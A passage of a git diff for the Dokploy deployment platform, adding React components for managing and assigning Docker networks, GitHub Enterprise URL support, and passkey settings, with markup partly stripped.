utils.compose.one.invalidate({ composeId }); + } catch (error) { + toast.error("Error updating networks", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + return ( + + +
+ Networks + + Attach Docker networks per service and detach it from + dokploy-network. Takes effect on the next deploy. + +
+ +
+ + {servicesError ? ( +
+ + Could not load the compose services. If this compose was just + created from a template, it hasn't been cloned yet — click Reload + to clone the repository and read its services. + +
+ +
+
+ ) : isLoadingServices ? ( +
+ Loading services... + +
+ ) : !services?.length ? ( + + No services found in this compose. + + ) : ( + + + {fields.map((fieldItem, index) => ( + + ))} +
+ +
+ + + )} +
+
+ ); +}; + +type NetworkOption = { networkId: string; name: string; driver: string }; + +const ServiceRow = ({ + control, + index, + service, + availableNetworks, +}: { + control: ReturnType>["control"]; + index: number; + service: string; + availableNetworks: NetworkOption[]; +}) => { + const [open, setOpen] = useState(false); + + return ( +
+ ( + + {service} +
+ + Detach dokploy-network + + + + +
+
+ )} + /> + + { + const selectedNetworks = availableNetworks.filter((n) => + field.value.includes(n.networkId), + ); + const toggle = (networkId: string) => { + field.onChange( + field.value.includes(networkId) + ? field.value.filter((id) => id !== networkId) + : [...field.value, networkId], + ); + }; + return ( + + + + + + + + + + {availableNetworks.length === 0 ? ( +
+ No networks available on this server. +
+ ) : ( + + {availableNetworks.map((n) => { + const isSelected = field.value.includes( + n.networkId, + ); + return ( + toggle(n.networkId)} + className="cursor-pointer" + > + toggle(n.networkId)} + /> + {n.name} + + {n.driver} + + + + ); + })} + + )} +
+
+
+
+ + {selectedNetworks.length > 0 && ( +
+ {selectedNetworks.map((n) => ( + + {n.name} + + ))} +
+ )} +
+ ); + }} + /> +
+ ); +}; diff --git a/apps/dokploy/components/dashboard/networks/assign-networks.tsx b/apps/dokploy/components/dashboard/networks/assign-networks.tsx new file mode 100644 index 0000000000..1ae7ec79ad --- /dev/null +++ b/apps/dokploy/components/dashboard/networks/assign-networks.tsx @@ -0,0 +1,355 @@ +import { Check, ChevronsUpDown, X } from "lucide-react"; +import { useEffect, useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Checkbox } from "@/components/ui/checkbox"; +import { + Command, + CommandEmpty, + CommandGroup, + CommandInput, + CommandItem, + CommandList, +} from "@/components/ui/command"; +import { + Popover, + PopoverContent, + PopoverTrigger, +} from "@/components/ui/popover"; +import { Switch } from "@/components/ui/switch"; +import { cn } from "@/lib/utils"; +import { api } from "@/utils/api"; + +type ServiceType = + | "application" + | "postgres" + | "mysql" + | "mariadb" + | "mongo" + | "redis" + | "libsql"; + +interface Props { + id: string; + type: ServiceType; +} + +export const AssignNetworks = ({ id, type }: Props) => { + const [open, setOpen] = useState(false); + const [selected, setSelected] = useState([]); + const [detached, setDetached] = useState(false); + + const { + service, + serverId, + networkIds, + detachDokployNetwork, + updateAsync, + isUpdating, + refetch, + } = useServiceNetworks(id, type); + + const { data: networks } = api.network.all.useQuery( + { serverId: serverId ?? undefined }, + { enabled: service !== undefined }, + ); + + const { data: applicationDomains } = api.domain.byApplicationId.useQuery( + { applicationId: id }, + { enabled: type === "application" }, + ); + const hasDomains = (applicationDomains?.length ?? 0) > 0; + + useEffect(() => { + setSelected(networkIds ?? []); + setDetached(detachDokployNetwork ?? false); + }, [networkIds, detachDokployNetwork]); + + const availableNetworks = (networks ?? []).filter( + (n) => n.driver === "overlay", + ); + const selectedNetworks = availableNetworks.filter((n) => + selected.includes(n.networkId), + ); + const isDirty = + selected.length !== (networkIds?.length ?? 0) || + selected.some((networkId) => !networkIds?.includes(networkId)) || + detached !== detachDokployNetwork; + + const toggle = (networkId: string) => { + setSelected((prev) => + prev.includes(networkId) + ? prev.filter((id) => id !== networkId) + : [...prev, networkId], + ); + }; + + const onSave = async () => { + try { + await updateAsync({ + networkIds: selected, + detachDokployNetwork: detached, + }); + toast.success("Networks updated. Redeploy the service to apply them."); + await refetch(); + } catch (error) { + toast.error("Error updating networks", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + return ( + + +
+ Networks + + Attach additional Docker networks to this service so it can reach + services on those networks. Takes effect on the next deploy. + +
+
+ +
+
+
+ + Detach from dokploy-network + + dokploy-network +
+

+ By default the service joins the shared dokploy-network. Detach it + to keep it reachable only through the networks you attach below. +

+
+ +
+ + {detached && hasDomains && ( + + Warning: this service has domains. Detaching it from dokploy-network + will break Traefik routing, and its domains will stop working. + + )} + + {detached && !hasDomains && selected.length === 0 && ( + + This service is detached from dokploy-network but has no other + network attached. It would be unreachable, so dokploy-network will + be kept until you attach a network below. + + )} + + + + + + + + + + {availableNetworks.length === 0 ? ( +
+ No overlay networks on this server. +
+ ) : ( + <> + + No networks found. + + + {availableNetworks.map((n) => { + const isSelected = selected.includes(n.networkId); + return ( + toggle(n.networkId)} + className="cursor-pointer" + > + toggle(n.networkId)} + /> + {n.name} + + {n.driver} + + + + ); + })} + + + )} +
+
+
+
+ + {selectedNetworks.length > 0 && ( +
+ {selectedNetworks.map((n) => ( + + {n.name} + + + ))} +
+ )} + +
+ +
+
+
+ ); +}; + +// Maps a service type to its one-query and update-mutation, normalizing the +// per-type id field name and the networkIds field. +const useServiceNetworks = (id: string, type: ServiceType) => { + const application = api.application.one.useQuery( + { applicationId: id }, + { enabled: type === "application" }, + ); + const postgres = api.postgres.one.useQuery( + { postgresId: id }, + { enabled: type === "postgres" }, + ); + const mysql = api.mysql.one.useQuery( + { mysqlId: id }, + { enabled: type === "mysql" }, + ); + const mariadb = api.mariadb.one.useQuery( + { mariadbId: id }, + { enabled: type === "mariadb" }, + ); + const mongo = api.mongo.one.useQuery( + { mongoId: id }, + { enabled: type === "mongo" }, + ); + const redis = api.redis.one.useQuery( + { redisId: id }, + { enabled: type === "redis" }, + ); + const libsql = api.libsql.one.useQuery( + { libsqlId: id }, + { enabled: type === "libsql" }, + ); + const applicationUpdate = api.application.update.useMutation(); + const postgresUpdate = api.postgres.update.useMutation(); + const mysqlUpdate = api.mysql.update.useMutation(); + const mariadbUpdate = api.mariadb.update.useMutation(); + const mongoUpdate = api.mongo.update.useMutation(); + const redisUpdate = api.redis.update.useMutation(); + const libsqlUpdate = api.libsql.update.useMutation(); + + const map = { + application: { + query: application, + mutation: applicationUpdate, + save: (payload: SavePayload) => + applicationUpdate.mutateAsync({ applicationId: id, ...payload }), + }, + postgres: { + query: postgres, + mutation: postgresUpdate, + save: (payload: SavePayload) => + postgresUpdate.mutateAsync({ postgresId: id, ...payload }), + }, + mysql: { + query: mysql, + mutation: mysqlUpdate, + save: (payload: SavePayload) => + mysqlUpdate.mutateAsync({ mysqlId: id, ...payload }), + }, + mariadb: { + query: mariadb, + mutation: mariadbUpdate, + save: (payload: SavePayload) => + mariadbUpdate.mutateAsync({ mariadbId: id, ...payload }), + }, + mongo: { + query: mongo, + mutation: mongoUpdate, + save: (payload: SavePayload) => + mongoUpdate.mutateAsync({ mongoId: id, ...payload }), + }, + redis: { + query: redis, + mutation: redisUpdate, + save: (payload: SavePayload) => + redisUpdate.mutateAsync({ redisId: id, ...payload }), + }, + libsql: { + query: libsql, + mutation: libsqlUpdate, + save: (payload: SavePayload) => + libsqlUpdate.mutateAsync({ libsqlId: id, ...payload }), + }, + }[type]; + + const service = map.query.data; + + return { + service, + serverId: service?.serverId ?? null, + networkIds: service?.networkIds ?? [], + detachDokployNetwork: service?.detachDokployNetwork ?? false, + updateAsync: map.save, + isUpdating: map.mutation.isPending, + refetch: map.query.refetch, + }; +}; + +type SavePayload = { + networkIds: string[]; + detachDokployNetwork: boolean; +}; diff --git a/apps/dokploy/components/dashboard/networks/handle-network.tsx b/apps/dokploy/components/dashboard/networks/handle-network.tsx new file mode 100644 index 0000000000..c089279389 --- /dev/null +++ b/apps/dokploy/components/dashboard/networks/handle-network.tsx @@ -0,0 +1,404 @@ +"use client"; + +import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; +import { Network, Plus, Trash2 } from "lucide-react"; +import { useState } from "react"; +import { useFieldArray, useForm } from "react-hook-form"; +import { toast } from "sonner"; +import { z } from "zod"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { + Form, + FormControl, + FormDescription, + FormField, + FormItem, + FormLabel, + FormMessage, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { Switch } from "@/components/ui/switch"; +import { api } from "@/utils/api"; + +// Only bridge and overlay can be created: "host"/"none" are Docker +// singletons and macvlan/ipvlan need driver options we don't expose. +const networkDriverEnum = ["bridge", "overlay"] as const; + +const ipamConfigEntrySchema = z.object({ + subnet: z.string().optional(), + ipRange: z.string().optional(), + gateway: z.string().optional(), +}); + +const networkFormSchema = z + .object({ + name: z.string().min(1, "Name is required"), + driver: z.enum(networkDriverEnum), + internal: z.boolean(), + attachable: z.boolean(), + enableIPv4: z.boolean(), + enableIPv6: z.boolean(), + mtu: z + .string() + .refine( + (value) => + value === "" || + (/^\d+$/.test(value) && +value >= 68 && +value <= 65535), + { message: "MTU must be a number between 68 and 65535" }, + ), + ipamDriver: z.string().optional(), + ipamConfig: z.array(ipamConfigEntrySchema), + }) + .superRefine((input, ctx) => { + if (!input.enableIPv4 && !input.enableIPv6) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: ["enableIPv4"], + message: "IPv4 or IPv6 must be enabled", + }); + } + for (const [index, entry] of input.ipamConfig.entries()) { + if (!entry.subnet && (entry.gateway || entry.ipRange)) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: ["ipamConfig", index, "subnet"], + message: "Gateway and IP range require a subnet", + }); + } + } + }); + +type NetworkFormValues = z.infer; + +const defaultValues: NetworkFormValues = { + name: "", + driver: "bridge", + internal: false, + attachable: false, + enableIPv4: true, + enableIPv6: false, + mtu: "", + ipamDriver: "", + ipamConfig: [], +}; + +const toggleOptions = [ + { + name: "internal", + label: "Internal", + description: "Containers on this network cannot reach external networks.", + }, + { + name: "attachable", + label: "Attachable", + description: + "Allow standalone containers to attach (overlay networks only).", + }, + { + name: "enableIPv4", + label: "Enable IPv4", + description: "Enable IPv4 addressing on the network.", + }, + { + name: "enableIPv6", + label: "Enable IPv6", + description: "Enable IPv6 addressing on the network.", + }, +] as const; + +interface HandleNetworkProps { + /** Target server; undefined creates on the local Dokploy server */ + serverId?: string; + children?: React.ReactNode; +} + +// Docker networks are immutable, so this dialog only creates them; +// changing a network means deleting and recreating it. +export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => { + const [isOpen, setIsOpen] = useState(false); + const utils = api.useUtils(); + + const { mutateAsync, isPending } = api.network.create.useMutation(); + + const form = useForm({ + resolver: zodResolver(networkFormSchema), + defaultValues, + }); + + const ipamConfigFieldArray = useFieldArray({ + control: form.control, + name: "ipamConfig", + }); + + const onSubmit = async (data: NetworkFormValues) => { + try { + await mutateAsync({ + name: data.name, + driver: data.driver, + serverId, + internal: data.internal, + attachable: data.attachable, + enableIPv4: data.enableIPv4, + enableIPv6: data.enableIPv6, + mtu: data.mtu ? Number(data.mtu) : undefined, + ipam: { + driver: data.ipamDriver || undefined, + config: data.ipamConfig, + }, + }); + + toast.success("Network created"); + await utils.network.all.invalidate(); + setIsOpen(false); + form.reset(defaultValues); + } catch (error) { + toast.error("Error creating network", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + const trigger = children ?? ( + + ); + + return ( + + {trigger} + + + + + Add network + + + Create a new Docker network for your organization. Networks are + immutable: to change one, delete it and create it again. + + +
+ +
+ ( + + Name + + + + + + )} + /> + ( + + Driver + + + bridge for single-server containers; overlay for Swarm + services. + + + + )} + /> + ( + + MTU (optional) + + + + + Maximum transmission unit. Leave empty to use Docker's + default. + + + + )} + /> +
+
+ {toggleOptions.map((option) => ( + ( + +
+ {option.label} + + {option.description} + +
+ + + +
+ )} + /> + ))} +
+
+
+ IPAM +

+ IP address management settings for this network. +

+
+ ( + + + Driver (optional) + + + + + + + )} + /> +
+ + Config (subnet / gateway / IP range) + + {ipamConfigFieldArray.fields.map((field, index) => ( +
+ ( + + + + + + + )} + /> + ( + + + + + + + )} + /> + ( + + + + + + + )} + /> + +
+ ))} + +
+
+ + + + +
+ +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/networks/show-network-config.tsx b/apps/dokploy/components/dashboard/networks/show-network-config.tsx new file mode 100644 index 0000000000..c7f9a158c7 --- /dev/null +++ b/apps/dokploy/components/dashboard/networks/show-network-config.tsx @@ -0,0 +1,69 @@ +"use client"; + +import { Eye, Loader2 } from "lucide-react"; +import { useState } from "react"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { api } from "@/utils/api"; + +interface Props { + networkId: string; + networkName: string; +} + +export const ShowNetworkConfig = ({ networkId, networkName }: Props) => { + const [open, setOpen] = useState(false); + const { data, isLoading, error } = api.network.inspect.useQuery( + { networkId }, + { enabled: open }, + ); + + return ( + + + + + + + Network Config + + docker network inspect output for "{networkName}" + + + {error ? ( + {error.message} + ) : isLoading ? ( +
+ Loading... + +
+ ) : ( +
+ +
+								
+							
+
+
+ )} +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/networks/show-networks.tsx b/apps/dokploy/components/dashboard/networks/show-networks.tsx new file mode 100644 index 0000000000..d87278b1e8 --- /dev/null +++ b/apps/dokploy/components/dashboard/networks/show-networks.tsx @@ -0,0 +1,494 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { + ArrowUpDown, + Loader2, + Network, + RotateCcw, + ShieldCheck, + Trash2, +} from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { HandleNetwork } from "@/components/dashboard/networks/handle-network"; +import { ShowNetworkConfig } from "@/components/dashboard/networks/show-network-config"; +import { SyncNetworks } from "@/components/dashboard/networks/sync-networks"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardAction, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type NetworkRow = inferRouterOutputs["network"]["all"][number]; + +interface Props { + /** Selected server; undefined shows the local Dokploy server */ + serverId?: string; +} + +const getIpamEntries = (row: NetworkRow) => + (row.ipam?.config ?? []).filter((c) => c.subnet || c.gateway || c.ipRange); + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +export const ShowNetworks = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [verified, setVerified] = useState(false); + const [sorting, setSorting] = useState([ + { id: "createdAt", desc: true }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [driverFilter, setDriverFilter] = useState("all"); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + + const { data: networks, isLoading } = api.network.all.useQuery({ serverId }); + const { mutateAsync: removeNetwork } = api.network.remove.useMutation(); + const recreateMutation = api.network.recreate.useMutation(); + + // Same query the Sync dialog uses; "missing" tells us which records + // no longer have a real network in Docker + const { + data: syncStatus, + isFetching: isVerifying, + refetch: refetchVerify, + } = api.network.networksToSync.useQuery({ serverId }, { enabled: verified }); + + const missingIds = useMemo( + () => new Set(syncStatus?.missing.map((m) => m.networkId) ?? []), + [syncStatus], + ); + + const onVerify = async () => { + setVerified(true); + const { data: result, error } = await refetchVerify(); + if (error) { + toast.error("Error verifying networks", { + description: error.message, + }); + return; + } + if (!result) return; + if (result.missing.length === 0) { + toast.success("All networks exist in Docker"); + } else { + toast.warning( + `${result.missing.length} network(s) no longer exist in Docker`, + ); + } + }; + + const filteredData = useMemo(() => { + let list = networks ?? []; + if (driverFilter !== "all") { + list = list.filter((n) => n.driver === driverFilter); + } + if (globalFilter.trim()) { + const query = globalFilter.toLowerCase(); + list = list.filter( + (n) => + n.name.toLowerCase().includes(query) || + (n.ipam?.config ?? []).some( + (c) => + c.subnet?.toLowerCase().includes(query) || + c.gateway?.toLowerCase().includes(query) || + c.ipRange?.toLowerCase().includes(query), + ), + ); + } + return list; + }, [networks, driverFilter, globalFilter]); + + const columns = useMemo[]>( + () => [ + { + accessorKey: "name", + header: ({ column }) => , + cell: ({ row }) => ( +
+ {row.original.name} + {verified && + syncStatus && + (missingIds.has(row.original.networkId) ? ( + <> + Missing in Docker + + + ) : ( + In sync + ))} +
+ ), + }, + { + accessorKey: "driver", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( +
+ {row.original.driver} + + {row.original.driver === "overlay" ? "swarm" : "local"} + +
+ ), + }, + { + id: "subnet", + accessorFn: (row) => getIpamEntries(row)[0]?.subnet ?? "", + header: ({ column }) => ( + + ), + cell: ({ row }) => { + const ipamEntries = getIpamEntries(row.original); + if (ipamEntries.length === 0) { + return Auto; + } + return ( +
+ {ipamEntries.map((c, index) => ( +
+ {c.subnet ?? "—"} + {(c.gateway || c.ipRange) && ( + + {[ + c.gateway && `gw ${c.gateway}`, + c.ipRange && `range ${c.ipRange}`, + ] + .filter(Boolean) + .join(" · ")} + + )} +
+ ))} +
+ ); + }, + }, + { + accessorKey: "internal", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.internal ? "Yes" : "No"} + + ), + }, + { + accessorKey: "attachable", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.attachable ? "Yes" : "No"} + + ), + }, + { + accessorKey: "createdAt", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {new Date(row.original.createdAt).toLocaleDateString()} + + ), + }, + { + id: "actions", + enableSorting: false, + header: () =>
Actions
, + cell: ({ row }) => ( +
+ + { + try { + await removeNetwork({ + networkId: row.original.networkId, + }); + toast.success("Network deleted"); + await utils.network.all.invalidate(); + await utils.network.networksToSync.invalidate(); + } catch (error) { + toast.error("Error deleting network", { + description: + error instanceof Error ? error.message : "Unknown error", + }); + } + }} + > + + +
+ ), + }, + ], + [verified, syncStatus, missingIds, removeNetwork, recreateMutation, utils], + ); + + const table = useReactTable({ + data: filteredData, + columns, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ + + + Networks + + + Manage the Docker networks of the selected server. + + +
+ {networks && networks.length > 0 && ( + + )} + + {networks && networks.length > 0 && ( + + )} +
+
+
+ + + {isLoading ? ( +
+ Loading... + +
+ ) : !networks?.length ? ( +
+
+ +
+
+

No networks yet

+

+ Create Docker networks for your organization and optionally + attach them to a server. Add your first network to get + started. +

+
+ +
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> + +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No networks match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/networks/sync-networks.tsx b/apps/dokploy/components/dashboard/networks/sync-networks.tsx new file mode 100644 index 0000000000..2a04030489 --- /dev/null +++ b/apps/dokploy/components/dashboard/networks/sync-networks.tsx @@ -0,0 +1,249 @@ +"use client"; + +import { Loader2, RefreshCw, RotateCcw, Trash2 } from "lucide-react"; +import { useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { Checkbox } from "@/components/ui/checkbox"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Separator } from "@/components/ui/separator"; +import { api } from "@/utils/api"; + +interface Props { + serverId?: string; +} + +export const SyncNetworks = ({ serverId }: Props) => { + const [open, setOpen] = useState(false); + const [selected, setSelected] = useState>(new Set()); + const utils = api.useUtils(); + + const { data, isLoading, error, refetch } = + api.network.networksToSync.useQuery({ serverId }, { enabled: open }); + + const importMutation = api.network.import.useMutation(); + const removeMutation = api.network.remove.useMutation(); + const recreateMutation = api.network.recreate.useMutation(); + + const toggleSelected = (name: string) => { + setSelected((prev) => { + const next = new Set(prev); + if (next.has(name)) { + next.delete(name); + } else { + next.add(name); + } + return next; + }); + }; + + const onImport = async () => { + try { + const result = await importMutation.mutateAsync({ + serverId, + names: Array.from(selected), + }); + + if (result.imported.length > 0) { + toast.success(`Imported ${result.imported.length} network(s)`); + } + for (const failure of result.errors) { + toast.error(`Could not import "${failure.name}"`, { + description: failure.error, + }); + } + + setSelected(new Set()); + await utils.network.all.invalidate(); + + setOpen(false); + await refetch(); + } catch (error) { + toast.error("Error importing networks", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + const onRemoveStale = async (networkId: string, name: string) => { + try { + await removeMutation.mutateAsync({ networkId }); + toast.success(`Removed stale record "${name}"`); + await utils.network.all.invalidate(); + await refetch(); + } catch (error) { + toast.error("Error removing record", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + const onRecreate = async (networkId: string, name: string) => { + try { + await recreateMutation.mutateAsync({ networkId }); + toast.success(`Network "${name}" recreated in Docker`); + await utils.network.all.invalidate(); + await utils.network.networksToSync.invalidate(); + await refetch(); + } catch (error) { + toast.error("Error recreating network", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + return ( + { + setOpen(value); + if (!value) setSelected(new Set()); + }} + > + + + + + + + + Sync networks + + + Import networks that exist in Docker but not in Dokploy, and clean + up records whose network no longer exists. + + + + {error ? ( + {error.message} + ) : isLoading ? ( +
+ Scanning Docker networks... + +
+ ) : ( +
+
+ + Found in Docker ({data?.importable.length ?? 0}) + + {data?.importable.length ? ( + data.importable.map((dockerNetwork) => ( + + )) + ) : ( + + Nothing to import — everything is in sync. + + )} +
+ + {!!data?.missing.length && ( + <> + +
+ + Missing in Docker ({data.missing.length}) + + + These records exist in Dokploy but their network is gone + from Docker. + + {data.missing.map((stale) => ( +
+ {stale.name} +
+ + +
+
+ ))} +
+ + )} +
+ )} + + + + + +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/requests/requests-table.tsx b/apps/dokploy/components/dashboard/requests/requests-table.tsx index d7e836a612..802b60e461 100644 --- a/apps/dokploy/components/dashboard/requests/requests-table.tsx +++ b/apps/dokploy/components/dashboard/requests/requests-table.tsx @@ -328,7 +328,7 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => { open={!!selectedRow} onOpenChange={(_open) => setSelectedRow(undefined)} > - + Request log diff --git a/apps/dokploy/components/dashboard/requests/show-requests.tsx b/apps/dokploy/components/dashboard/requests/show-requests.tsx index 83b5d2bf5c..b1a3cfca28 100644 --- a/apps/dokploy/components/dashboard/requests/show-requests.tsx +++ b/apps/dokploy/components/dashboard/requests/show-requests.tsx @@ -63,7 +63,7 @@ export const ShowRequests = () => { const [dateRange, setDateRange] = useState<{ from: Date | undefined; to: Date | undefined; - }>(getDefaultDateRange()); + }>(() => getDefaultDateRange()); // Check if logs exist to determine if traefik has been reloaded // Only fetch when active to minimize network calls diff --git a/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx b/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx index f2ba167fff..7d1031fa79 100644 --- a/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx +++ b/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx @@ -13,6 +13,7 @@ import { import { Input } from "@/components/ui/input"; import { Switch } from "@/components/ui/switch"; import { api } from "@/utils/api"; +import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils"; export const AddGithubProvider = () => { const [isOpen, setIsOpen] = useState(false); @@ -23,6 +24,9 @@ export const AddGithubProvider = () => { const [manifest, setManifest] = useState(""); const [isOrganization, setIsOrganization] = useState(false); const [organizationName, setOrganization] = useState(""); + const [githubUrl, setGithubUrl] = useState(DEFAULT_GITHUB_URL); + + const { baseUrl, error: githubUrlError } = resolveGithubBaseUrl(githubUrl); const randomString = () => Math.random().toString(36).slice(2, 8); @@ -30,7 +34,7 @@ export const AddGithubProvider = () => { const url = document.location.origin; const manifest = JSON.stringify( { - redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}`, + redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}&githubUrl=${encodeURIComponent(baseUrl)}`, name: `Dokploy-${format(new Date(), "yyyy-MM-dd")}-${randomString()}`, url: origin, hook_attributes: { @@ -52,7 +56,7 @@ export const AddGithubProvider = () => { ); setManifest(manifest); - }, [activeOrganization?.id, session?.user?.id]); + }, [activeOrganization?.id, session?.user?.id, baseUrl]); return ( @@ -79,6 +83,25 @@ export const AddGithubProvider = () => { below to get started.

+
+ GitHub URL + setGithubUrl(e.target.value)} + /> + + Leave as is for github.com. For GitHub Enterprise, use your + instance URL (e.g. https://acme.ghe.com or + https://github.acme.com). + + {githubUrlError && ( + + {githubUrlError} + + )} +
+
Organization? {
@@ -116,8 +139,8 @@ export const AddGithubProvider = () => { { Unsure if you already have an app? + + + + Passkeys + + Sign in without a password using your device's biometrics, security + key, or password manager. + + + +
+ {isLoading ? ( +
+ Loading... + +
+ ) : passkeys && passkeys.length > 0 ? ( +
+ {passkeys.map((passkey) => ( +
+
+ + + + {passkey.name || "Unnamed passkey"} + + + {passkey.deviceType === "singleDevice" + ? "Device" + : "Synced"} + + + {passkey.createdAt && ( + + Added + + )} +
+ handleDeletePasskey(passkey.id)} + > + + +
+ ))} +
+ ) : ( +
+ + No passkeys registered yet +
+ )} + + + +
+ setName(e.target.value)} + /> + +
+ +
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx b/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx index c3e9d77a5c..ceb6d3cd1b 100644 --- a/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx +++ b/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx @@ -31,6 +31,7 @@ import { generateSHA256Hash, getFallbackAvatarInitials } from "@/lib/utils"; import { api } from "@/utils/api"; import { Configure2FA } from "./configure-2fa"; import { Enable2FA } from "./enable-2fa"; +import { ManagePasskeys } from "./manage-passkeys"; const profileSchema = z.object({ email: z @@ -162,7 +163,10 @@ export const ProfileForm = () => {
- {!data?.user.twoFactorEnabled ? : } +
+ + {!data?.user.twoFactorEnabled ? : } +
diff --git a/apps/dokploy/components/dashboard/settings/servers/actions/show-dokploy-actions.tsx b/apps/dokploy/components/dashboard/settings/servers/actions/show-dokploy-actions.tsx index 7d63de210d..8a9133ccb5 100644 --- a/apps/dokploy/components/dashboard/settings/servers/actions/show-dokploy-actions.tsx +++ b/apps/dokploy/components/dashboard/settings/servers/actions/show-dokploy-actions.tsx @@ -19,8 +19,6 @@ export const ShowDokployActions = () => { const { mutateAsync: reloadServer, isPending } = api.settings.reloadServer.useMutation(); - const { mutateAsync: cleanRedis } = api.settings.cleanRedis.useMutation(); - const { mutateAsync: reloadRedis } = api.settings.reloadRedis.useMutation(); const { mutateAsync: cleanAllDeploymentQueue } = api.settings.cleanAllDeploymentQueue.useMutation(); @@ -70,21 +68,6 @@ export const ShowDokployActions = () => { - { - await cleanRedis() - .then(async () => { - toast.success("Redis cleaned"); - }) - .catch(() => { - toast.error("Error cleaning Redis"); - }); - }} - > - Clean Redis - - { @@ -99,21 +82,6 @@ export const ShowDokployActions = () => { > Clean all deployment queue - - { - await reloadRedis() - .then(async () => { - toast.success("Redis reloaded"); - }) - .catch(() => { - toast.error("Error reloading Redis"); - }); - }} - > - Reload Redis - diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx index 2647e1dc0e..e90ba51f8c 100644 --- a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx +++ b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx @@ -32,7 +32,9 @@ export const TerminalModal = ({ serverId, asButton = false, }: Props) => { - const [terminalKey, setTerminalKey] = useState(getTerminalKey()); + const [terminalKey, setTerminalKey] = useState(() => + getTerminalKey(), + ); const 